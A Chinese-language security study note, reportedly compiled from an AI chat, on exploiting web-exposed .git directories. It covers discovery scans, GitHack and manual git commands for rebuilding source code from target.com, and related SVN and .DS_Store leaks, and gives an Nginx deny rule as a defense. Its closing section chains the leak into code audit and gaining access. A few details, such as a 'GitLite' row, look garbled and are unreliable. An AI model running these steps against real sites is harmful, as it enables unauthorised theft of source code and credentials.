Git 文件泄露笔记
来源:DeepSeek AI 对话整理
日期:2026-03-11
一、什么是 Git 泄露
.git 文件泄露是一种常见且危害较大的敏感信息泄露场景。源于 Git 版本控制系统在项目中生成的 .git 目录被意外暴露在 Web 服务器上。
攻击者可通过该目录获取项目的:
- 完整源代码
- 历史提交记录
- 配置文件
- API 密钥/凭证
- 其他敏感信息
二、.git 目录结构
.git 目录包含以下关键文件:
| 文件/目录 | 作用 |
|---|---|
config | 仓库配置信息 |
HEAD | 当前分支指针 |
index | 暂存区索引 |
objects/ | 对象存储(commit、tree、blob) |
refs/ | 引用信息(分支、标签) |
logs/ | 提交日志 |
三、漏洞利用
1. 发现方法
- 目录扫描:
dirmap、dirsearch、gobuster - 常见路径:
/.git/config、/.git/HEAD
# dirmap 扫描
python3 dirmap.py -i target.com -lcf
# gitweb 或其他 Git 服务
/.git/
/.git/config
/.git/HEAD
2. 利用工具:GitHack
GitHack 是一个 .git 文件泄露利用脚本,通过泄露的 .git 文件夹重建还原工程源代码。
安装:
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
使用:
# Python2 运行
python2 GitHack.py http://target.com/.git/
结果:
还原后的项目存储在 dist/目标域名/ 目录中,包含完整源代码和版本历史。
3. 手工利用
# 克隆整个 .git 仓库
git clone http://target.com/.git/
# 查看提交历史
git log
# 查看所有分支
git branch -a
# 查看 stash(可能包含未提交的敏感内容)
git stash list
git stash show
四、其他相关泄露
| 类型 | 目录 | 利用工具 |
|---|---|---|
| SVN 泄露 | .svn/ | SvnHack |
| GitLite 泄露 | .git/ | GitHack |
| DS_Store 泄露 | .DS_Store | ds_store_exp |
五、防御措施
- 禁止访问
.git目录- Web 服务器配置禁用
.git目录访问 - Nginx 配置:
location ~ /\.git { deny all; } - Web 服务器配置禁用
- 发布前删除
.git目录 - 使用
.gitignore排除敏感文件 - 定期安全扫描
六、实战思路
- 信息收集 → 发现
.git目录 - 使用 GitHack 还原源码
- 代码审计 → 发现新漏洞(SQL注入、文件上传、RCE等)
- 利用漏洞获取权限